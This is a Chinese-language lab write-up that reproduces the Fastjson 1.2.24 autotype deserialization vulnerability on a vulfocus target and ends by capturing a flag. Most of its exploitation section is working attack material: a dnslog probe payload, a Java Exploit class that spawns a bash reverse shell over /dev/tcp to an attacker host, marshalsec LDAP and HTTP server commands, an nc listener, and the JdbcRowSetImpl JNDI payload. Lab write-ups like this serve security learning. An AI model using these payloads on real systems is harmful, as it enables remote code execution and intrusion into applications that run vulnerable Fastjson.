漏洞概述
Fastjson 是阿里巴巴开发的一个高性能的 Java 库,用于将 Java 对象
转换成 JSON 格式
(序列化
),以及将 JSON 字符串
转换回 Java 对象
(反序列化
)。
fastjson在解析json的过程中,支持使用
@type字段
来指定反序列化的类型,并调用该类的set/get方法
来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter
方法中,即可构造出一些恶意利用链。
影响范围
fastjson<=1.2.24
复现流程
本次复现是在vulfocus平台,如有侵权,请及时联系删除
复现配置:
win11,阿里云ECS服务器,靶机vulfocus
访问目的地址:
这里通过报错验证存在fastjson漏洞
第一步:验证漏洞
下面是正常回显
修改成post提交,请求体内加一个‘{’使其报错
出现此标志证明存在fastjson漏洞
第二步:利用dnslog回显证明
先将Content-Type: application/x-www-form-urlencoded
修改成json格式:application/json
在加上请求体
{“a”:{“@type”:“java.net.Inet4Address”,“val”:“xxxxx.dnslog.cn”}}
指定反序列化的类型,由于靶机服务器不校验@type,所以造成了漏洞
这里生成一个dnslog地址
请求数据包如下:成功证明存在漏洞
第三步:拿到shell,获取flag
这里因为必须要反弹shell,我们必须要有一个公网ip,所以这里我用了云服务器,
先准备一个Exploit.java文件,内容如下
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
执行javac Exploit.java编译,生成java.class
我们还需要另外一个jar包文件:marshalsec-0.0.3-SNAPSHOT-all.jar
这个文件可以从https://gitee.com/gscsd5/marshalsec-jar/blob/master/marshalsec-0.0.3-SNAPSHOT-all.jar下载
将生成的Exploit.class文件和marshalsec-0.0.3-SNAPSHOT-all.jar统一放到一个目录下
我这里是放到云服务器的/fastjson1.2.47
目录
接下来开启三个监听窗口
(在三个窗口打开)
第一个,使用python搭建一个临时的web服务:python3 -m SimpleHTTPServer 1111
可能有人会报错,可以换用python3 -m http.server 1111
PS:此步是为了接收LDAP服务重定向请求,需要在payload的目录下
(/fastjson1.2.47)开启此web服务,这样才可以访问到payload文件
第二个,服务器使用marshalsec开启LDAP服务
监听:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxxxxx:1111/#Exploit 9999
这里的xxxx是自己的公网ip
Ps:使用marshalsec工具快捷的开启LDAP服务,借助LDAP服务将LDAP reference result 重定向到web服务器
(ps:这里还可以用RMI服务
监听,最终请求包的payload也要稍微修改下)
第三个,nc监听:nc -lvp 1888
Ps:这是最终得到shell的窗口
本以为这样就可以成功拿到shell了,发现防火墙入方向的端口没打开
,导致一直连不上
如果不知道开哪个端口,可以将所有端口先都打开
发送payload:
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://x.x.x.x:9999/Exploit",
"autoCommit":true
}
}
这里的xxx也是自己服务器的公网ip
请求数据包如下
回到监听窗口处,发现拿到shell
成功获取到flag